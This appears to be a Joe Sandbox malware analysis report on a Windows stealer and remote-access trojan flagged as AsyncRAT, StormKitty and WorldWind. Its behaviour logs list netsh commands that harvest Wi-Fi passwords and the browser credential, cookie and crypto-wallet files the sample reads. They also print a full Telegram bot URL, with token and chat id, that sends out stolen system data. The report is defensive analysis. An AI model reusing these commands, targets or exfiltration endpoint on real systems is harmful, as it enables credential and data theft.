Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Code function: 8_2_05F00B20 LdrInitializeThunk,

8_2_05F00B20

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Memory written: C:\Users\user\Desktop\JGvCEaqruI.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Users\user\Desktop\JGvCEaqruI.exe "C:\Users\user\Desktop\JGvCEaqruI.exe"	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Queries volume information: C:\Users\user\Desktop\JGvCEaqruI.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Queries volume information: C:\Users\user\Desktop\JGvCEaqruI.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: JGvCEaqruI.exe, 00000008.00000002.3752328436.0000000005770000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected StormKitty Stealer

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Yara detected WorldWind Stealer

Source: Yara match

File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Remote Access Functionality

Yara detected StormKitty Stealer

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Yara detected WorldWind Stealer

Source: Yara match

File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	1 Masquerading	1 OS Credential Dumping	341 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	251 Virtualization/Sandbox Evasion	Security Account Manager	251 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	124 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
JGvCEaqruI.exe	75%	Virustotal		Browse
JGvCEaqruI.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
JGvCEaqruI.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://api.mylnikov.orgd	0%	Avira URL Cloud	safe
https://api.telegram.orgd	0%	Avira URL Cloud	safe
http://icanhazip.comd	0%	Avira URL Cloud	safe
https://api.tele	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api.mylnikov.org	104.21.44.66	true	false	high
api.telegram.org	149.154.167.220	true	false	high
icanhazip.com	104.16.185.241	true	false	high
160.192.10.0.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202025-01-10%207:12:35%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20704672%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%207_PYFFT1V%0ARAM:%204095MB%0AHWID:%2028D2643902%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.189%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2060%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2040%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True	false	high
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	false	high
http://icanhazip.com/	false	high
https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
https://duckduckgo.com/ac/?q=	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.telegram.org	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.000000000366A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
https://api.telegram.org/bot	JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=52871	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.000000000366A000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003651000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003663000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15d	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
http://icanhazip.comd	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	places.raw.8.dr	false		high
http://icanhazip.com/t	JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003651000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKitty	JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.tele	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000034BA000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
https://api.mylnikov.org	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKitty0&	JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.orgd	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003651000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.orgd	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.000000000366A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://icanhazip.com	JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	places.raw.8.dr	false		high
http://api.mylnikov.orgd	JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003632000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/file/bot	JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://api.telegram.org	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.000000000366A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKittyTC	JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000034BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003571000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.mylnikov.org	JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003632000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	false		high
https://pastebin.com/raw/7B75u64B	JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	places.raw.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.44.66	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.16.185.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588350
Start date and time:	2025-01-11 01:11:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
